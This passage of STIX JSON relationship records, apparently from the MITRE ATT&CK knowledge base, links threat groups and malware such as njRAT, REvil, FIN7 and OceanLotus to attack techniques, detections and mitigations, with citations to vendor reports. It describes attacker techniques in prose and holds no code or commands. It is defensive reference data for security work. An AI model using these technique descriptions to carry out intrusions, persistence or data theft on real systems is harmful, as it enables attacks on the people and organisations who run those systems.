2017)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9e2b7623-69e9-4c03-a4da-df281e99f663","created":"2022-04-15T15:38:27.577Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike AQUATIC PANDA December 2021","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/","description":"Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) has acquired and used [Cobalt Strike](https://attack.mitre.org/software/S0154) in its operations.(Citation: CrowdStrike AQUATIC PANDA December 2021)","modified":"2022-04-15T15:38:27.577Z","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e2d90d1-de00-4a79-9134-279eb3bee540","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Monitor for an extracted list of available groups and/or their associated setting ","source_ref":"x-mitre-data-component--8e44412e-3238-4d64-8878-4f11e27784fe","target_ref":"attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e300a25-28f0-4373-939c-16d4d27577af","type":"relationship","created":"2019-06-04T19:40:19.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis njRAT June 2013","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."},{"source_name":"Trend Micro njRAT 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/","description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019."},{"source_name":"Citizen Lab Group5","description":"Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.","url":"https://citizenlab.ca/2016/08/group5-syria/"}],"modified":"2020-03-16T17:22:28.624Z","description":"[njRAT](https://attack.mitre.org/software/S0385) is capable of logging keystrokes.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)(Citation: Citizen Lab Group5)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e339696-4e81-496f-808e-82d63b62c331","type":"relationship","created":"2020-05-18T21:01:51.346Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoudMiner June 2019","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}],"modified":"2020-06-23T00:48:35.287Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) has monitored CPU usage.(Citation: ESET LoudMiner June 2019)\t","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9e344d1a-7b11-42fe-b406-d1a2bdc48bb1","created":"2023-09-28T13:23:29.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:37:14.551Z","description":"[Pacu](https://attack.mitre.org/software/S1091) can generate SSH and API keys for AWS infrastructure and additional API keys for other IAM users.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9e47155f-7b98-4fc5-84b3-01bd70418b8e","created":"2023-02-14T18:22:29.316Z","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T18:22:29.316Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can communicate with its C2 server using HTTP requests.(Citation: MalwareBytes WoodyRAT Aug 2022)","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9e472909-7f89-430f-8782-8bf20ef265d4","created":"2021-05-21T19:53:14.167Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."},{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bisonal](https://attack.mitre.org/software/S0268) has encoded binary data with Base64 and ASCII.(Citation: Kaspersky CactusPete Aug 2020)(Citation: Talos Bisonal Mar 2020) ","modified":"2022-04-18T18:13:55.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e564d64-f913-423f-9a44-0d35057c07c2","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e56fced-affc-466a-96bf-6e9aa2670257","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor for files being accessed by an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e587add-08b7-4ecb-a40a-664b9cff1d0f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"modified":"2020-03-18T20:41:14.575Z","description":"[Remsec](https://attack.mitre.org/software/S0125) can obtain a list of users.(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e60bb82-19b3-4e76-82f0-32b8b6e611ba","type":"relationship","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.844Z","description":"Monitor for executed commands and arguments that may attempt to find domain-level groups and permission settings.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9e65e16c-eecc-4b8f-befa-01a5cf94ca8c","created":"2023-01-19T19:48:06.461Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-24T22:30:14.837Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used [Prestige](https://attack.mitre.org/software/S1058) ransomware to encrypt data at targeted organizations in transportation and related logistics industries in Ukraine and Poland.(Citation: Microsoft Prestige ransomware October 2022)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9e6ba901-ece5-44a0-8315-1f9b833fe78a","created":"2024-06-06T16:46:05.887Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DNS-msft","description":"Microsoft. (2022). DNS Policies Overview. Retrieved June 6, 2024.","url":"https://learn.microsoft.com/en-us/windows-server/networking/dns/deploy/dns-policies-overview"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-01T13:34:13.993Z","description":"Consider implementing policies for DNS servers, such as Zone Transfer Policies, that enforce a list of validated servers permitted for zone transfers.(Citation: DNS-msft)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9e6bbb1a-95c6-4f51-9aff-6b424c731cfc","created":"2020-12-02T14:07:12.621Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit42 OceanLotus 2017","description":"Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.","url":"https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T19:21:50.158Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) uses file naming conventions with associated executable locations to blend in with the macOS TimeMachine and OpenSSL services. Such as, naming a LaunchAgent plist file `com.apple.openssl.plist` which executes [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) from the user's `~/Library/OpenSSL/` folder upon user login.(Citation: Unit42 OceanLotus 2017)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e70e248-2335-45ba-ae58-b162bc6b9bf4","type":"relationship","created":"2021-09-08T13:44:48.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."}],"modified":"2021-09-08T13:44:48.748Z","description":"[Crimson](https://attack.mitre.org/software/S0115) can spread across systems by infecting removable media.(Citation: Kaspersky Transparent Tribe August 2020)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e753c36-66d8-4f48-8b06-fbb9fdc92f76","type":"relationship","created":"2021-10-12T06:45:36.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T19:48:30.034Z","description":"Enable the Hardened Runtime capability when developing applications. Do not include the com.apple.security.get-task-allow entitlement with the value set to any variation of true. ","relationship_type":"mitigates","source_ref":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","target_ref":"attack-pattern--8252f135-ed26-4ce1-ae61-f26e94429a19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e755287-a238-485c-83c3-7afeac5a9243","type":"relationship","created":"2020-03-24T23:04:42.404Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-08-03T16:47:37.428Z","description":"Ensure proper permissions are set for Registry hives to prevent users from modifying keys for logon scripts that may lead to persistence.","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e756bc5-a3b2-4b4e-bdc5-dce1c5e137e5","type":"relationship","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.867Z","description":"Monitor executed commands and arguments associated with making configuration changes to boot settings, such as bcdedit.exe and bootcfg.exe.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--28170e17-8384-415c-8486-2e6b294cb803","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft bcdedit 2021","description":"Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021.","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit"},{"source_name":"Microsoft Bootcfg","description":"Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August 30, 2021.","url":"https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg"},{"source_name":"Sophos Snatch Ransomware 2019","description":"Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021.","url":"https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e77b81d-6298-4233-8baa-f419031a9d64","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN7 April 2017","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"}],"modified":"2019-06-30T23:13:18.422Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has used mshta.exe to execute VBScript to execute malicious code on victim systems.(Citation: FireEye FIN7 April 2017)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e77c6fc-0227-42d6-b4ce-f228115963fe","type":"relationship","created":"2019-01-29T21:57:39.366Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture Dragonfish Jan 2018","url":"https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf","description":"Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS’ MEETING AND ASSOCIATES. Retrieved November 14, 2018."}],"modified":"2020-03-16T23:49:45.573Z","description":"[Elise](https://attack.mitre.org/software/S0081) creates a file in AppData\\Local\\Microsoft\\Windows\\Explorer and stores all harvested data in that file.(Citation: Accenture Dragonfish Jan 2018)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9e784751-c08e-43d8-957a-7d9a35e1cf05","created":"2022-10-13T15:30:51.342Z","revoked":false,"external_references":[{"source_name":"Threatpost New Op Sharpshooter Data March 2019","description":"L. O'Donnell. (2019, March 3). RSAC 2019: New Operation Sharpshooter Data Reveals Higher Complexity, Scope. Retrieved September 26, 2022.","url":"https://threatpost.com/sharpshooter-complexity-scope/142359/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T15:30:51.342Z","description":"During [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), threat actors leveraged embedded shellcode to inject a downloader into the memory of Word.(Citation: Threatpost New Op Sharpshooter Data March 2019) ","relationship_type":"uses","source_ref":"campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e7fc18e-06a3-437f-8e3b-18f5378c9d44","type":"relationship","created":"2020-01-31T12:32:08.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-17T13:14:39.989Z","description":"Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history or ConsoleHost_history.txt files.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e7ff28c-3c76-488d-8fb3-623a19ee55c1","type":"relationship","created":"2020-10-20T15:45:24.386Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:10:00.173Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e80392b-1b7c-4e82-9fbf-73d8ddb6b876","type":"relationship","created":"2020-08-04T19:38:36.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks GandCrab and REvil September 2019","url":"https://www.secureworks.com/blog/revil-the-gandcrab-connection","description":"Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."},{"source_name":"Group IB Ransomware May 2020","url":"https://www.group-ib.com/whitepapers/ransomware-uncovered.html","description":"Group IB. (2020, May). Ransomware Uncovered: Attackers’ Latest Methods. Retrieved August 5, 2020."}],"modified":"2020-08-05T17:04:56.127Z","description":"[REvil](https://attack.mitre.org/software/S0496) can use WMI to monitor for and kill specific processes listed in its configuration file.(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Group IB Ransomware May 2020)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e81f24e-6f72-44eb-9f19-2a3e7dca14ad","type":"relationship","created":"2020-06-02T15:39:14.573Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 CARROTBAT November 2018","url":"https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/","description":"Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020."}],"modified":"2020-06-15T15:12:44.278Z","description":"[CARROTBAT](https://attack.mitre.org/software/S0462) has the ability to download and execute a remote file via [certutil](https://attack.mitre.org/software/S0160).(Citation: Unit 42 CARROTBAT November 2018)","relationship_type":"uses","source_ref":"malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e837354-a6d0-4d0d-b2cd-43e3f89222c9","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor newly executed processes that may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e85e741-0dcd-4a15-a35a-a920f46824c2","type":"relationship","created":"2020-12-28T21:12:01.768Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2020-12-28T21:12:01.768Z","description":"[SharpStage](https://attack.mitre.org/software/S0546) has checked the system settings to see if Arabic is the configured language.(Citation: BleepingComputer Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9e87accb-6851-4438-8673-e3682dae807f","created":"2021-03-29T16:51:26.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Docker Daemon Socket Protect","description":"Docker. (n.d.). Protect the Docker Daemon Socket. Retrieved March 29, 2021.","url":"https://docs.docker.com/engine/security/protect-access/"},{"source_name":"Kubernetes Cloud Native Security","description":"Kubernetes. (n.d.). Overview of Cloud Native Security. Retrieved March 8, 2023.","url":"https://kubernetes.io/docs/concepts/security/overview/"},{"source_name":"Microsoft AKS Azure AD 2023","description":"Microsoft. (2023, February 27). AKS-managed Azure Active Directory integration. Retrieved March 8, 2023.","url":"https://learn.microsoft.com/en-us/azure/aks/managed-aad"},{"source_name":"Kubernetes API Control Access","description":"The Kubernetes Authors. (n.d.). Controlling Access to The Kubernetes API. Retrieved March 29, 2021.","url":"https://kubernetes.io/docs/concepts/security/controlling-access/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T16:16:08.806Z","description":"Limit communications 